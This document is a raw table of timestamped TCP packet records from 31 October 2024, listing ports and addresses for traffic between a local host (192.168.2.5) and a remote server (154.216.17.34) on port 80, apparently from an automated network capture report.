Oct 31, 2024 02:09:08.864969015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.864979029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.865005970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.865034103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.865072012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.865088940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.865130901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.906919956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.906940937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.906953096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.906976938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.907007933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.940978050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.940998077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941006899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941024065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941051960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941092014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941103935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941113949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941132069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941143036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941442966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941453934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941471100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941500902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941500902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941519976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.941726923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941744089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941756964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941767931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941780090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.941843987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.983083963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.983097076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.983107090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.983143091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.983176947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.023988962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024040937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.024066925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024076939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024087906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024100065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024111032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.024111986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.024136066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.024162054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.057913065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.057924986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.057954073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.057997942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058005095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058027029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058043003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058053017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058064938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058094978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058104992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058417082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058425903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058460951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058474064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058478117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058501005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058511972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058521032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058535099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058547020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058780909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058825016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058830976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058841944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058852911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.058870077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058890104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.058898926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.099920988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.099934101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.099944115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.100012064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.140961885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.140971899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.140985012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.140999079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.141016006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.141027927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.141036987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.141081095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.174875975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.174895048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.174905062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.174915075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.174936056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.174961090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175062895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175075054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175085068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175262928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175350904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175362110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175375938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175386906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175400972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175421000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175451994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175765038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175776005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175786972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175797939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.175818920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.175844908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.216931105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.216943026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.216960907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.216973066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.216983080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.217009068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.217025042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.263725996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.263747931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.263758898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.263808966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.263838053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.263854980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.263864994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.263912916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.291996002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292006969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292013884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292022943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292089939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292130947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292145967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292181015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292181015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.292191029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292222977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.292237997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.292675018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292686939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292696953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.292737007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.333841085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333904982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.333933115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333942890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333957911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333969116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333978891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.333985090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.334012032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.334024906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.376801968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376815081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376848936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376858950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376878977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.376884937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376913071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376924992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376924992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.376935005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.376948118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.376972914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.376993895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409095049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409171104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409236908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409248114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409286976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409301996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409459114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409511089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409528017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409538984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409578085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409604073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409615993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409626961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409638882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409650087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.409657955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409678936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.409689903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.451072931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.451086044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.451101065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.451111078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.451122999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.451133013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.451176882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.493803978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.493844032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.493855953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.493865967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.493993044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494020939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494033098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494075060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494100094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494131088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494163036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494180918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494182110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494191885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494204044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.494205952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494225025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.494255066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526036024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526091099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526117086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526128054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526163101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526179075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526612043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526623011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526633978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526659012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526676893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526688099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526700020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526729107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526772976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.526933908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.526985884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.527035952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.527086020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.568305016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.568344116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.568356037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.568371058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.568383932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.568397999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.569678068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.569693089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.569752932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.610881090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.610901117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.610913038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.610925913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.610939026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.610961914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.610996008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611042023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611067057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611080885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611097097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611121893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611135006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611150980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611196041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611608028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611651897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611675024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611691952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611695051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611740112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.611742020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.611788034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.643210888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643223047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643234968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643296957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.643575907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643587112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643615007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643631935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.643655062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643660069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.643666029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643676996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.643703938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.643726110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.685039043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685081959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685092926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685118914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.685134888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.685281038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685292959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685302973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.685340881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.685350895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.727786064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727797031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727807045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727826118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727838039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727849007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.727873087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.727916002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728204012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728215933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728226900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728259087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728271008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728411913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728454113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728465080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728463888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728476048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728507996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728529930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.728874922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728889942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728902102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728914022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.728929043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.731478930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.760155916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760168076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760178089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760237932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.760513067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760566950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760581017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760591984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760678053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.760740042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760792017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.760795116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.760840893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.801995993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.802045107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.802056074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.802186012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.802196026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.802244902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.802244902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.803479910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.844897032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.844949961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.844960928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.844991922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845007896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845091105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845091105 CET	49982	80	192.168.2.5	154.216.17.34
